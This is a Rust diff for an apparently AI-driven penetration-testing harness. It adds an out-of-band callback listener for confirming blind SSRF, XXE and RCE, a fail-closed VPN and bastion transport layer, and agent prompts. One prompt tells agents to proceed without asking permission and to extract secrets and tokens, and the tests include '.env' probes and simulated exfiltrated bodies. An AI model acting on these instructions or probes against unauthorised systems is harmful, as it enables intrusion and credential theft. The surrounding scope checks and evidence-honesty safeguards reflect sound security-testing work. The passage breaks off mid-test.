pub async fn listen(&self) -> anyhow::Result<()> { + let (http, dns) = match self.provider { + Provider::SelfHosted { http, dns } => (http, dns), + Provider::Remote { .. } => return Ok(()), + }; + let me = self.clone(); + let listener = tokio::net::TcpListener::bind(http).await?; + tokio::spawn(async move { + loop { + let Ok((mut sock, peer)) = listener.accept().await else { continue }; + let me = me.clone(); + tokio::spawn(async move { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + let mut buf = vec![0u8; 16 * 1024]; + let n = match tokio::time::timeout(Duration::from_secs(5), sock.read(&mut buf)).await { + Ok(Ok(n)) if n > 0 => n, + _ => return, + }; + if let Some(i) = me.interaction_from_http(&buf[..n], &peer.to_string()) { + me.record(i); + } + // A plain 200 with a tiny body: enough for a fetch to + // succeed, small enough not to become a payload itself. + let _ = sock + .write_all(b"HTTP/1.1 200 OK\r\ncontent-type: text/plain\r\ncontent-length: 2\r\nconnection: close\r\n\r\nok") + .await; + }); + } + }); + + if let Some(dns_addr) = dns { + let me = self.clone(); + let sock = tokio::net::UdpSocket::bind(dns_addr).await?; + tokio::spawn(async move { + let mut buf = vec![0u8; 512]; + loop { + let Ok((n, peer)) = sock.recv_from(&mut buf).await else { continue }; + if let Some(i) = me.interaction_from_dns(&buf[..n], &peer.to_string()) { + me.record(i); + } + if let Some(resp) = dns_nxdomain(&buf[..n]) { + let _ = sock.send_to(&resp, peer).await; + } + } + }); + } + Ok(()) + } + + /// Parse an HTTP request into an interaction, if it carries one of our + /// tokens. Requests that do not are dropped — an internet-facing listener + /// collects scanner noise constantly, and noise in an evidence log is + /// worse than no log. + pub fn interaction_from_http(&self, bytes: &[u8], remote: &str) -> Option { + let text = String::from_utf8_lossy(bytes); + let (head, body) = text.split_once("\r\n\r\n").unwrap_or((text.as_ref(), "")); + let mut lines = head.lines(); + let request_line = lines.next()?.trim().to_string(); + let headers: Vec<(String, String)> = lines + .filter_map(|l| l.split_once(':').map(|(k, v)| (k.trim().to_lowercase(), v.trim().to_string()))) + .collect(); + let host = headers.iter().find(|(k, _)| k == "host").map(|(_, v)| v.clone()).unwrap_or_default(); + // The token can be in the Host header (a name that resolved to us) or + // in the path (a direct hit on our address). + let token = self.extract_token(&host).or_else(|| self.extract_token(&request_line))?; + Some(Interaction { + token, + channel: Channel::Http, + remote: remote.to_string(), + at: now(), + detail: request_line, + headers, + body: body.chars().take(2048).collect(), + }) + } + + /// Parse a DNS query into an interaction, if it asks for one of our names. + pub fn interaction_from_dns(&self, bytes: &[u8], remote: &str) -> Option { + let name = parse_dns_qname(bytes)?; + let token = self.extract_token(&name)?; + Some(Interaction { + token, + channel: Channel::Dns, + remote: remote.to_string(), + at: now(), + detail: name, + headers: Vec::new(), + body: String::new(), + }) + } + + /// Pull our token out of a hostname or request line. + /// + /// Matching is anchored on the sigil rather than on the domain, because + /// resolvers mangle case, some targets prepend labels, and a payload + /// echoed through a URL rewriter can arrive with the domain replaced. What + /// cannot be faked by accident is the token itself. + pub fn extract_token(&self, haystack: &str) -> Option { + let lower = haystack.to_lowercase(); + let sigil = crate::provenance::SIGIL.to_lowercase(); + let start = lower.find(&sigil)?; + let rest = &lower[start..]; + let end = rest + .find(|c: char| !(c.is_ascii_alphanumeric())) + .unwrap_or(rest.len()); + let token = &rest[..end]; + if token.len() <= sigil.len() { + return None; + } + Some(token.to_string()) + } + + /// Turn callbacks into the evidence the validators read. + pub fn evidence(&self, token: &str) -> crate::validation::Evidence { + let hits = self.received(token); + let mut ev = crate::validation::Evidence::default(); + if hits.is_empty() { + return ev; + } + ev.marker = token.to_string(); + // `callback_received` is the strong claim, so only egress sets it. A + // DNS-only hit is recorded and described, but it must not license a + // finding that says the server fetched the URL. + ev.callback_received = hits.iter().any(|i| i.proves_egress()); + let dns = hits.iter().filter(|i| i.channel == Channel::Dns).count(); + let http = hits.iter().filter(|i| i.channel == Channel::Http).count(); + ev.notes.push(format!( + "OOB token {token}: {http} HTTP callback(s), {dns} DNS query(ies); first from {} at {}", + hits[0].remote, hits[0].at + )); + ev + } +} + +fn now() -> u64 { + SystemTime::now().duration_since(UNIX_EPOCH).map(|d| d.as_secs()).unwrap_or(0) +} + +/// Read the queried name out of a DNS packet. +/// +/// Enough of the wire format to get QNAME and no more: this listener answers +/// nothing useful on purpose, so a fuller parser would be surface for no gain. +pub fn parse_dns_qname(bytes: &[u8]) -> Option { + if bytes.len() < 13 { + return None; + } + let qdcount = u16::from_be_bytes([bytes[4], bytes[5]]); + if qdcount == 0 { + return None; + } + let mut i = 12; + let mut labels: Vec = Vec::new(); + while i < bytes.len() { + let len = bytes[i] as usize; + if len == 0 { + break; + } + // Compression pointers cannot appear in a question section; a packet + // that has one here is malformed or hostile, and is dropped. + if len & 0xc0 != 0 { + return None; + } + i += 1; + if i + len > bytes.len() { + return None; + } + labels.push(String::from_utf8_lossy(&bytes[i..i + len]).to_string()); + i += len; + } + if labels.is_empty() { + return None; + } + Some(labels.join(".")) +} + +/// Minimal NXDOMAIN response, so a resolver gets an answer instead of +/// retrying. The query is what we wanted; the answer is irrelevant. +pub fn dns_nxdomain(query: &[u8]) -> Option> { + if query.len() < 12 { + return None; + } + let mut resp = query.to_vec(); + resp[2] = 0x81; // QR=1, RD copied + resp[3] = 0x83; // RA=1, RCODE=3 (NXDOMAIN) + // No answer, authority or additional records. + resp[6] = 0; + resp[7] = 0; + resp[8] = 0; + resp[9] = 0; + resp[10] = 0; + resp[11] = 0; + Some(resp) +} + +/// Group interactions by token — what the report's evidence section needs. +pub fn by_token(interactions: &[Interaction]) -> HashMap> { + let mut out: HashMap> = HashMap::new(); + for i in interactions { + out.entry(i.token.clone()).or_default().push(i.clone()); + } + out +} + +#[cfg(test)] +mod tests { + use super::*; + + fn collab() -> Collaborator { + Collaborator::self_hosted("oob.example.com", "0.0.0.0:8080".parse().unwrap(), None) + } + + fn dns_query(name: &str) -> Vec { + let mut p = vec![0x12, 0x34, 0x01, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]; + for label in name.split('.') { + p.push(label.len() as u8); + p.extend_from_slice(label.as_bytes()); + } + p.push(0); + p.extend_from_slice(&[0x00, 0x01, 0x00, 0x01]); // A, IN + p + } + + #[test] + fn a_dns_query_proves_resolution_not_egress() { + let c = collab(); + let token = c.token("ssrf"); + let q = dns_query(&c.hostname(&token)); + let i = c.interaction_from_dns(&q, "10.0.0.53:5300").expect("our name"); + assert_eq!(i.token, token); + assert!(!i.proves_egress(), "a DNS query is not proof the target connected out"); + + c.record(i); + let ev = c.evidence(&token); + assert!(!ev.callback_received, "DNS alone must not set callback_received"); + assert!(ev.notes.iter().any(|n| n.contains("1 DNS query")), "notes: {:?}", ev.notes); + } + + #[test] + fn an_http_callback_proves_egress_and_carries_the_source() { + let c = collab(); + let token = c.token("ssrf"); + let req = format!( + "GET /{token} HTTP/1.1\r\nHost: {}\r\nUser-Agent: curl/8.4\r\n\r\n", + c.hostname(&token) + ); + let i = c.interaction_from_http(req.as_bytes(), "203.0.113.9:52344").expect("our token"); + assert!(i.proves_egress()); + assert_eq!(i.remote, "203.0.113.9:52344"); + assert!(i.headers.iter().any(|(k, v)| k == "user-agent" && v.contains("curl"))); + c.record(i); + + let ev = c.evidence(&token); + assert!(ev.callback_received, "an HTTP callback is the strong claim"); + assert_eq!(ev.marker, token); + } + + #[test] + fn unrelated_traffic_is_dropped_rather_than_logged() { + let c = collab(); + // An internet-facing listener sees this constantly. + let noise = b"GET /.env HTTP/1.1\r\nHost: oob.example.com\r\n\r\n"; + assert!(c.interaction_from_http(noise, "45.9.148.1:1234").is_none()); + assert!(c.interaction_from_dns(&dns_query("www.google.com"), "8.8.8.8:53").is_none()); + // And a token that is not ours — same shape, different engine. + assert!(c.extract_token("somethingelse1234.oob.example.com").is_none()); + } + + #[test] + fn a_token_survives_the_domain_being_rewritten() { + let c = collab(); + let token = c.token("xxe"); + // A URL rewriter replaced the domain; the token is still ours. + let mangled = format!("GET / HTTP/1.1\r\nHost: {token}.proxy.internal.corp\r\n\r\n"); + let i = c.interaction_from_http(mangled.as_bytes(), "10.1.1.5:40000").expect("token match"); + assert_eq!(i.token, token); + // Uppercase from a resolver, too. + let shouty = c.hostname(&token).to_uppercase(); + assert_eq!(c.extract_token(&shouty), Some(token)); + } + + #[test] + fn exfiltrated_bodies_are_kept_but_bounded() { + let c = collab(); + let token = c.token("rce"); + let big = "A".repeat(9000); + let req = format!("POST /{token} HTTP/1.1\r\nHost: {}\r\n\r\n{big}", c.hostname(&token)); + let i = c.interaction_from_http(req.as_bytes(), "198.51.100.7:9").expect("token"); + assert!(!i.body.is_empty()); + assert!(i.body.len() <= 2048, "a callback body must not become unbounded"); + } + + #[test] + fn dns_parsing_refuses_malformed_packets() { + assert!(parse_dns_qname(&[]).is_none()); + assert!(parse_dns_qname(&[0u8; 12]).is_none()); + // A compression pointer in the question section is not legal here. + let mut p = dns_query("a.oob.example.com"); + p[12] = 0xc0; + assert!(parse_dns_qname(&p).is_none()); + // A length that runs off the end of the packet. + let mut trunc = dns_query("a.oob.example.com"); + trunc[12] = 200; + assert!(parse_dns_qname(&trunc).is_none()); + } + + #[test] + fn nxdomain_answers_the_query_it_was_given() { + let q = dns_query("x.oob.example.com"); + let r = dns_nxdomain(&q).expect("response"); + assert_eq!(&r[0..2], &q[0..2], "the transaction id has to match or the resolver ignores it"); + assert_eq!(r[3] & 0x0f, 3, "RCODE 3 = NXDOMAIN"); + assert_eq!(u16::from_be_bytes([r[6], r[7]]), 0, "no answer records"); + } + + #[test] + fn payloads_all_carry_the_token() { + let c = collab(); + let token = c.token("blind"); + for (kind, p) in c.payloads(&token) { + assert!(p.to_lowercase().contains(&token), "{kind} payload lost the token: {p}"); + } + } + + #[tokio::test] + async fn waiting_returns_empty_rather_than_inventing_a_hit() { + let c = collab(); + let token = c.token("ssrf"); + let hits = c.wait_for(&token, Duration::from_millis(120)).await; + assert!(hits.is_empty(), "no callback is a result, not something to retry past"); + } + + #[test] + fn preflight_refuses_a_channel_that_cannot_work() { + let bad = Collaborator::self_hosted("", "0.0.0.0:8080".parse().unwrap(), None); + assert!(futures::executor::block_on(bad.preflight()).is_err()); + } +} diff --git a/neurosploit-rs/crates/harness/src/pipeline.rs b/neurosploit-rs/crates/harness/src/pipeline.rs index 65477e3..f574878 100644 --- a/neurosploit-rs/crates/harness/src/pipeline.rs +++ b/neurosploit-rs/crates/harness/src/pipeline.rs @@ -22,6 +22,24 @@ pub struct RunOutput { pub artifacts: Vec, } +/// A run that stopped before it started. +/// +/// Returned when the egress or the authorization boundary refuses the target. +/// Deliberately an empty result rather than an error value: the caller reports +/// it the same way it reports any other run, and an empty findings list is the +/// honest answer to "what did you find" when nothing was ever tested. +fn aborted(cfg: &RunConfig) -> RunOutput { + RunOutput { + target: cfg.target.clone(), + findings: vec![], + agents_ran: vec![], + candidates: 0, + recon: String::new(), + workdir: cfg.workdir.clone().unwrap_or_default(), + artifacts: vec![], + } +} + const RECON_SYS: &str = "You are an elite web recon specialist on an AUTHORIZED engagement. Actively fetch the target with your tools and map the REAL attack surface in DEPTH — do not ask for permission, proceed:\n\ - Crawl pages, forms and parameters; record every input, header, cookie and redirect.\n\ - DOWNLOAD the linked JavaScript bundles (curl each script) and ANALYZE them: extract API endpoints/routes, hidden/undocumented parameters, GraphQL operations, secrets / API keys / tokens, cloud & third-party URLs, feature flags, and `sourceMappingURL` references (fetch source maps if exposed to recover original source).\n\ @@ -351,6 +369,8 @@ fn engagement_ops(cfg: &RunConfig) -> String { "DISPOSABLE EMAIL (disabled): if registration REQUIRES an email confirmation you cannot receive, stop and \ report it as a blocker (do not attempt to bypass it). " }; + let oob = oob_ops(cfg); + let sms = sms_ops(cfg); format!( "ENGAGEMENT OPS — TEST ACCOUNTS & VAULT:\n\ - CREDENTIAL VAULT: whenever you create a test account or generate any credential, APPEND one JSON line to \ @@ -364,9 +384,42 @@ fn engagement_ops(cfg: &RunConfig) -> String { or \"unauthenticated\" (proven with no session), and `account` to which user/role you used. In grey-box, be \ explicit about which findings needed a login. In black-box, record in `how`/evidence exactly what you did \ to create the user.\n\ - - {temp}\n\n" + - {temp}\n\ + {oob}{sms}\n" ) } + +/// The out-of-band channel's instructions, when one is configured. +/// +/// Blind classes are the ones agents most often assert and least often prove. +/// Handing them a domain we control turns "the parameter might be fetched +/// server-side" into a callback with a source address on it — and the +/// instruction is explicit that a DNS query alone is the weaker claim, because +/// that is the overclaim this channel otherwise invites. +fn oob_ops(cfg: &RunConfig) -> String { + let Some(domain) = cfg.oob_domain.as_deref().filter(|d| d.contains('.')) else { + return "- OUT-OF-BAND (not configured): you cannot prove blind SSRF/XXE/RCE. Report such a candidate as a LEAD with the evidence you do have — never as a confirmed finding.\n" + .to_string(); + }; + let token = crate::provenance::Provenance::process().marker("oob").to_lowercase(); + format!( + "- OUT-OF-BAND CHANNEL (enabled): a listener answers for *.{domain}. Build payload hostnames as `.{domain}` where starts with `{token_prefix}` — use a DIFFERENT token per probe so a callback is attributable to one payload (example: `{token}`). Report the token you used in the finding's `payload` field and the callback details in `evidence`. An HTTP callback proves the target connected out; a DNS query alone proves only that a resolver saw the name — say which one you observed, and never write 'the server fetched my URL' on the strength of a DNS query.\n", + token_prefix = crate::provenance::SIGIL.to_lowercase() + ) +} + +/// Inbound SMS instructions, when a number is configured. +fn sms_ops(cfg: &RunConfig) -> String { + match cfg.sms.as_deref().filter(|s| !s.trim().is_empty()) { + Some(spec) => { + let number = spec.rsplit(':').next().unwrap_or(""); + format!( + "- INBOUND SMS (enabled): {number} receives messages for OTP and phone-verification flows. For a rate-limit claim, count DELIVERED messages carrying DISTINCT codes — not HTTP 200s. An endpoint that accepts twenty requests and sends one message is not unthrottled.\n" + ) + } + None => String::new(), + } +} /// Resolve the vault directory + this run's file stem. Prefer `.neurosploit/vault` /// (persistent project store) set by the app; fall back to the run workdir. Returns /// (jsonl_append_path, json_consolidated_path). @@ -613,6 +666,70 @@ pub async fn run(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender match crate::transport::Egress::parse(spec) { + Ok(e) => crate::transport::Transport::new(e), + Err(e) => { + let _ = tx.send(format!("notify: ✗ transport: {e}")).await; + return aborted(&cfg); + } + }, + None => crate::transport::Transport::direct(), + }; + if let Err(e) = transport.admits(&cfg.target) { + let _ = tx.send(format!("notify: ⛔ {e}")).await; + return aborted(&cfg); + } + if !matches!(transport.egress, crate::transport::Egress::Direct) { + match transport.connect().await { + Ok(label) => { + let _ = tx.send(format!("notify: 🔌 egress via {label}")).await; + match transport.verify(None).await { + Ok(ip) => { + let _ = tx.send(format!("notify: egress address {ip}")).await; + } + Err(e) => { + let _ = tx.send(format!("notify: ⛔ {e}")).await; + return aborted(&cfg); + } + } + } + Err(e) => { + let _ = tx.send(format!("notify: ⛔ transport failed to come up: {e}")).await; + return aborted(&cfg); + } + } + } + + // Out-of-band channel. Optional, but without it the blind classes can only + // ever be leads — which the prompt says explicitly rather than letting an + // agent assert a callback it had no way to receive. + if let Some(domain) = cfg.oob_domain.as_deref().filter(|d| d.contains('.')) { + let http: std::net::SocketAddr = cfg + .oob_http + .as_deref() + .unwrap_or("0.0.0.0:8080") + .parse() + .unwrap_or_else(|_| "0.0.0.0:8080".parse().unwrap()); + let dns = cfg.oob_dns.as_deref().and_then(|d| d.parse().ok()); + let collab = crate::oob::Collaborator::self_hosted(domain, http, dns); + match collab.listen().await { + Ok(()) => { + let note = collab.preflight().await.unwrap_or_else(|e| e); + let _ = tx.send(format!("notify: 📡 {note}")).await; + } + Err(e) => { + // A listener that did not bind would turn every blind class + // into a silent false negative, so say so loudly and carry on + // with the channel marked unavailable. + let _ = tx.send(format!("notify: ⚠ OOB listener did not start ({e}) — blind classes stay leads")).await; + } + } + } let _ = tx .send(format!( "Loaded {} agents ({} vuln / {} recon / {} code / {} meta) · models: {} · vote_n={} · concurrency={}{} · budget: {}", diff --git a/neurosploit-rs/crates/harness/src/transport.rs b/neurosploit-rs/crates/harness/src/transport.rs new file mode 100644 index 0000000..6d113c6 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/transport.rs @@ -0,0 +1,485 @@ +//! Getting to the target — VPNs, bastions, tunnels, proxies. +//! +//! Internal engagements do not happen from the operator's laptop. They happen +//! through something: a client VPN, an SSH bastion, a Cloudflare tunnel, a +//! SOCKS proxy handed over in a kickoff call. The harness has to route through +//! that thing, and — much more importantly — has to **refuse to run when it +//! is not routing through it**. +//! +//! That second half is the whole point of this module. Consider `10.20.0.15` +//! with the VPN down: +//! +//! ```text +//! VPN up → 10.20.0.15 is the client's domain controller +//! VPN down → 10.20.0.15 is something on the operator's own LAN +//! ``` +//! +//! Same address, same payloads, entirely different machine — quite possibly a +//! machine nobody authorized. The failure is silent: connections succeed, +//! findings appear, the report is about the wrong network. So egress is +//! **fail-closed** here: a private target with no transport configured is +//! refused before a single request goes out, and a transport that claims to be +//! up must prove it ([`Transport::verify`]) rather than be assumed. + +use serde::{Deserialize, Serialize}; +use std::time::Duration; + +/// How traffic leaves the harness. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Egress { + /// Straight out of the host's default route. + Direct, + /// SOCKS5, typically an SSH dynamic forward or a client-provided jump box. + Socks { addr: String }, + /// An HTTP CONNECT proxy — Burp, ZAP, or a corporate egress. + HttpProxy { url: String }, + /// An OpenVPN profile the harness brings up and tears down. + OpenVpn { config: String }, + /// SSH bastion. Either a dynamic forward (SOCKS) or a specific local + /// forward when the client only authorized one host. + Bastion { host: String, user: String, identity: Option, socks_port: u16, forward: Option }, + /// A Cloudflare tunnel (`cloudflared access tcp`), for a target published + /// through Zero Trust rather than routable at all. + Cloudflared { hostname: String, local_port: u16 }, +} + +impl Egress { + pub fn label(&self) -> String { + match self { + Egress::Direct => "direct".into(), + Egress::Socks { addr } => format!("socks5://{addr}"), + Egress::HttpProxy { url } => format!("http-proxy {url}"), + Egress::OpenVpn { config } => format!("openvpn {config}"), + Egress::Bastion { user, host, forward, socks_port, .. } => match forward { + Some(f) => format!("ssh {user}@{host} → {f}"), + None => format!("ssh {user}@{host} (socks :{socks_port})"), + }, + Egress::Cloudflared { hostname, local_port } => format!("cloudflared {hostname} → :{local_port}"), + } + } + + /// The proxy URL the HTTP client should use, if any. + pub fn proxy_url(&self) -> Option { + match self { + Egress::Direct | Egress::OpenVpn { .. } | Egress::Cloudflared { .. } => None, + Egress::Socks { addr } => Some(format!("socks5h://{addr}")), + Egress::HttpProxy { url } => Some(url.clone()), + Egress::Bastion { socks_port, forward, .. } => { + forward.is_none().then(|| format!("socks5h://127.0.0.1:{socks_port}")) + } + } + } + + /// Parse an operator-supplied spec. + /// + /// ```text + /// direct + /// socks5://127.0.0.1:1080 + /// http://127.0.0.1:8080 + /// openvpn:/path/client.ovpn + /// ssh://user@bastion.corp:22 (dynamic forward) + /// ssh://user@bastion.corp?forward=10.0.0.5:445 + /// cloudflared://db.internal.corp:5432 + /// ``` + pub fn parse(spec: &str) -> Result { + let s = spec.trim(); + if s.is_empty() || s.eq_ignore_ascii_case("direct") || s.eq_ignore_ascii_case("none") { + return Ok(Egress::Direct); + } + if let Some(rest) = s.strip_prefix("socks5://").or_else(|| s.strip_prefix("socks://")) { + if !rest.contains(':') { + return Err("socks needs host:port".into()); + } + return Ok(Egress::Socks { addr: rest.to_string() }); + } + if s.starts_with("http://") || s.starts_with("https://") { + return Ok(Egress::HttpProxy { url: s.to_string() }); + } + if let Some(path) = s.strip_prefix("openvpn:") { + if path.trim().is_empty() { + return Err("openvpn needs a path to a .ovpn profile".into()); + } + return Ok(Egress::OpenVpn { config: path.trim().to_string() }); + } + if let Some(rest) = s.strip_prefix("ssh://") { + let (authority, query) = rest.split_once('?').unwrap_or((rest, "")); + let (user, hostport) = authority + .split_once('@') + .ok_or_else(|| "ssh needs user@host".to_string())?; + let host = hostport.split(':').next().unwrap_or(hostport).to_string(); + if user.is_empty() || host.is_empty() { + return Err("ssh needs user@host".into()); + } + let mut forward = None; + let mut socks_port = 1080u16; + let mut identity = None; + for pair in query.split('&').filter(|p| !p.is_empty()) { + match pair.split_once('=') { + Some(("forward", v)) => forward = Some(v.to_string()), + Some(("socks", v)) => socks_port = v.parse().map_err(|_| "socks port must be a number".to_string())?, + Some(("identity", v)) | Some(("key", v)) => identity = Some(v.to_string()), + _ => return Err(format!("unknown ssh option `{pair}`")), + } + } + return Ok(Egress::Bastion { host, user: user.to_string(), identity, socks_port, forward }); + } + if let Some(rest) = s.strip_prefix("cloudflared://") { + let (hostname, port) = rest.split_once(':').ok_or_else(|| "cloudflared needs host:port".to_string())?; + let local_port: u16 = port.parse().map_err(|_| "cloudflared port must be a number".to_string())?; + return Ok(Egress::Cloudflared { hostname: hostname.to_string(), local_port }); + } + Err(format!("unrecognised transport `{spec}` — try direct, socks5://…, http://…, openvpn:…, ssh://user@host, cloudflared://host:port")) + } +} + +/// Is this address one that only means something inside a network? +/// +/// RFC1918, loopback, link-local, CGNAT, unique-local v6, and `.local`/ +/// `.internal`/`.corp` style names. These are the addresses that resolve to +/// something different depending on which network you are on, which is exactly +/// the condition that makes a missing VPN dangerous rather than merely broken. +pub fn is_internal(target: &str) -> bool { + let host = target + .rsplit("://") + .next() + .unwrap_or(target) + .split('/') + .next() + .unwrap_or("") + .rsplit('@') + .next() + .unwrap_or("") + .trim_end_matches('.') + .to_lowercase(); + // A bracketed IPv6 literal keeps its colons; only a host:port pair loses + // them. Splitting blindly turns `[fd00::1]:445` into `[fd00`, which then + // matches by accident rather than by parsing. + let host = if let Some(rest) = host.strip_prefix('[') { + rest.split(']').next().unwrap_or(rest).to_string() + } else { + host.split(':').next().unwrap_or(&host).to_string() + }; + if host.is_empty() { + return false; + } + for suffix in [".local", ".internal", ".corp", ".lan", ".home", ".intranet", ".test"] { + if host.ends_with(suffix) { + return true; + } + } + if host == "localhost" { + return true; + } + if let Ok(v4) = host.parse::() { + let o = v4.octets(); + return v4.is_private() + || v4.is_loopback() + || v4.is_link_local() + || v4.is_unspecified() + // 100.64.0.0/10 — carrier-grade NAT, common on client VPNs. + || (o[0] == 100 && (64..=127).contains(&o[1])); + } + if let Ok(v6) = host.parse::() { + let seg = v6.segments(); + return v6.is_loopback() || v6.is_unspecified() || (seg[0] & 0xfe00) == 0xfc00 || (seg[0] & 0xffc0) == 0xfe80; + } + // A bare single-label name resolves via search domains — which network you + // are on decides what it means. + !host.contains('.') +} + +/// The configured route, and whether it is actually working. +#[derive(Clone)] +pub struct Transport { + pub egress: Egress, + /// URL used to confirm traffic is really leaving the way it should. + pub verify_url: String, + child: std::sync::Arc>>, +} + +impl Transport { + pub fn new(egress: Egress) -> Transport { + Transport { + egress, + verify_url: "https://api.ipify.org?format=text".to_string(), + child: std::sync::Arc::new(std::sync::Mutex::new(None)), + } + } + + pub fn direct() -> Transport { + Transport::new(Egress::Direct) + } + + /// Fail-closed check, run before any traffic. + /// + /// An internal target with no transport is refused. This is the rule that + /// keeps a scan off the operator's own LAN when the VPN silently dropped, + /// and it is a refusal rather than a warning because a warning in a log + /// nobody is reading is not a control. + pub fn admits(&self, target: &str) -> Result<(), String> { + if self.egress == Egress::Direct && is_internal(target) { + return Err(format!( + "{target} is an internal address and no transport is configured. \ + With the VPN or bastion down this address belongs to whatever network this host is on, \ + which is not the client's. Configure --transport, or pass an external target." + )); + } + Ok(()) + } + + /// Bring the transport up, if it is something we run. + /// + /// Returns a description of what was started. `openvpn`, `ssh` and + /// `cloudflared` are expected on PATH; a missing binary is an error, never + /// a silent fall back to direct — falling back is precisely the failure + /// this module exists to prevent. + pub async fn connect(&self) -> anyhow::Result { + use std::process::{Command, Stdio}; + let spawn = |cmd: &str, args: Vec| -> anyhow::Result { + let child = Command::new(cmd) + .args(&args) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .map_err(|e| anyhow::anyhow!("cannot start {cmd}: {e} — install it or pick another transport"))?; + Ok(child.id()) + }; + let pid = match &self.egress { + Egress::Direct | Egress::Socks { .. } | Egress::HttpProxy { .. } => None, + Egress::OpenVpn { config } => { + if !std::path::Path::new(config).exists() { + anyhow::bail!("no OpenVPN profile at {config}"); + } + Some(spawn("openvpn", vec!["--config".into(), config.clone()])?) + } + Egress::Bastion { host, user, identity, socks_port, forward } => { + let mut args: Vec = vec![ + "-N".into(), + "-o".into(), + "ExitOnForwardFailure=yes".into(), + "-o".into(), + "ServerAliveInterval=15".into(), + ]; + if let Some(key) = identity { + args.push("-i".into()); + args.push(key.clone()); + } + match forward { + Some(f) => { + // Local forward: exactly one authorized host, reachable + // at 127.0.0.1 on the same port. + let port = f.rsplit(':').next().unwrap_or("0"); + args.push("-L".into()); + args.push(format!("{port}:{f}")); + } + None => { + args.push("-D".into()); + args.push(socks_port.to_string()); + } + } + args.push(format!("{user}@{host}")); + Some(spawn("ssh", args)?) + } + Egress::Cloudflared { hostname, local_port } => Some(spawn( + "cloudflared", + vec![ + "access".into(), + "tcp".into(), + "--hostname".into(), + hostname.clone(), + "--url".into(), + format!("127.0.0.1:{local_port}"), + ], + )?), + }; + if let Some(pid) = pid { + // The guard is dropped before the await: holding a std Mutex across + // one makes the whole future non-Send, and every caller spawns it. + if let Ok(mut slot) = self.child.lock() { + *slot = Some(pid); + } + // Tunnels need a moment before the first connection succeeds; + // without this the verify below fails on a transport that is fine. + tokio::time::sleep(Duration::from_secs(3)).await; + } + Ok(self.egress.label()) + } + + /// Confirm traffic is really going where it should. + /// + /// For a proxied egress this means the request succeeds *through the + /// proxy*; for a VPN it means the apparent source address changed. Both + /// answer the same question — "is the route I think I have the route I + /// actually have" — which is the question a silent VPN drop makes urgent. + pub async fn verify(&self, baseline_ip: Option<&str>) -> Result { + let mut builder = reqwest::Client::builder().timeout(Duration::from_secs(15)); + if let Some(p) = self.egress.proxy_url() { + let proxy = reqwest::Proxy::all(&p).map_err(|e| format!("bad proxy {p}: {e}"))?; + builder = builder.proxy(proxy); + } + let client = builder.build().map_err(|e| e.to_string())?; + let ip = client + .get(&self.verify_url) + .send() + .await + .map_err(|e| format!("transport {} is not carrying traffic: {e}", self.egress.label()))? + .text() + .await + .map_err(|e| e.to_string())? + .trim() + .to_string(); + if let Some(base) = baseline_ip { + if base == ip && !matches!(self.egress, Egress::Direct) { + return Err(format!( + "egress address is still {ip} with {} configured — traffic is NOT going through the transport", + self.egress.label() + )); + } + } + Ok(ip) + } + + /// Apply the proxy to an HTTP client builder. + pub fn apply(&self, builder: reqwest::ClientBuilder) -> reqwest::ClientBuilder { + match self.egress.proxy_url().and_then(|p| reqwest::Proxy::all(&p).ok()) { + Some(proxy) => builder.proxy(proxy), + None => builder, + } + } + + /// Environment variables child processes (curl, nmap wrappers, agent + /// commands) need so they use the same route. + pub fn env(&self) -> Vec<(String, String)> { + match self.egress.proxy_url() { + Some(p) if p.starts_with("socks") => vec![("ALL_PROXY".into(), p)], + Some(p) => vec![("HTTP_PROXY".into(), p.clone()), ("HTTPS_PROXY".into(), p)], + None => Vec::new(), + } + } + + /// Tear down anything we started. + pub fn disconnect(&self) { + if let Ok(mut slot) = self.child.lock() { + if let Some(pid) = slot.take() { + let _ = std::process::Command::new("kill").arg(pid.to_string()).status(); + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn specs_parse_into_the_route_they_describe() { + assert_eq!(Egress::parse("").unwrap(), Egress::Direct); + assert_eq!(Egress::parse("direct").unwrap(), Egress::Direct); + assert_eq!( + Egress::parse("socks5://127.0.0.1:1080").unwrap(), + Egress::Socks { addr: "127.0.0.1:1080".into() } + ); + assert_eq!( + Egress::parse("http://127.0.0.1:8080").unwrap(), + Egress::HttpProxy { url: "http://127.0.0.1:8080".into() } + ); + assert_eq!( + Egress::parse("openvpn:/etc/client.ovpn").unwrap(), + Egress::OpenVpn { config: "/etc/client.ovpn".into() } + ); + assert_eq!( + Egress::parse("cloudflared://db.internal.corp:5432").unwrap(), + Egress::Cloudflared { hostname: "db.internal.corp".into(), local_port: 5432 } + ); + } + + #[test] + fn a_bastion_is_a_socks_proxy_unless_one_host_was_authorized() { + let dynamic = Egress::parse("ssh://red@bastion.corp:22").unwrap(); + assert_eq!(dynamic.proxy_url().as_deref(), Some("socks5h://127.0.0.1:1080")); + + // A single authorized host gets a local forward, and deliberately NO + // proxy: routing everything through it would put traffic on hosts the + // client did not agree to. + let scoped = Egress::parse("ssh://red@bastion.corp?forward=10.0.0.5:445").unwrap(); + assert_eq!(scoped.proxy_url(), None); + match scoped { + Egress::Bastion { forward, .. } => assert_eq!(forward.as_deref(), Some("10.0.0.5:445")), + _ => panic!("expected a bastion"), + } + } + + #[test] + fn malformed_specs_are_refused_rather_than_guessed() { + assert!(Egress::parse("socks5://nohost").is_err()); + assert!(Egress::parse("ssh://bastion.corp").is_err(), "no user is ambiguous"); + assert!(Egress::parse("ssh://red@bastion?socks=notaport").is_err()); + assert!(Egress::parse("ssh://red@bastion?wat=1").is_err()); + assert!(Egress::parse("openvpn:").is_err()); + assert!(Egress::parse("carrier-pigeon://x").is_err()); + } + + #[test] + fn internal_addresses_are_recognised_across_their_many_shapes() { + for t in [ + "10.20.0.15", + "https://192.168.1.1/admin", + "172.16.4.9:8080", + "100.64.3.2", + "127.0.0.1", + "localhost", + "dc01.corp", + "fileserver", + "https://app.internal/", + "[fd00::1]:445", + "fe80::1", + ] { + assert!(is_internal(t), "{t} should count as internal"); + } + for t in ["example.com", "https://arenahockeypara.com.br/", "8.8.8.8", "203.0.113.7"] { + assert!(!is_internal(t), "{t} should not count as internal"); + } + } + + #[test] + fn an_internal_target_without_a_transport_is_refused() { + let direct = Transport::direct(); + let err = 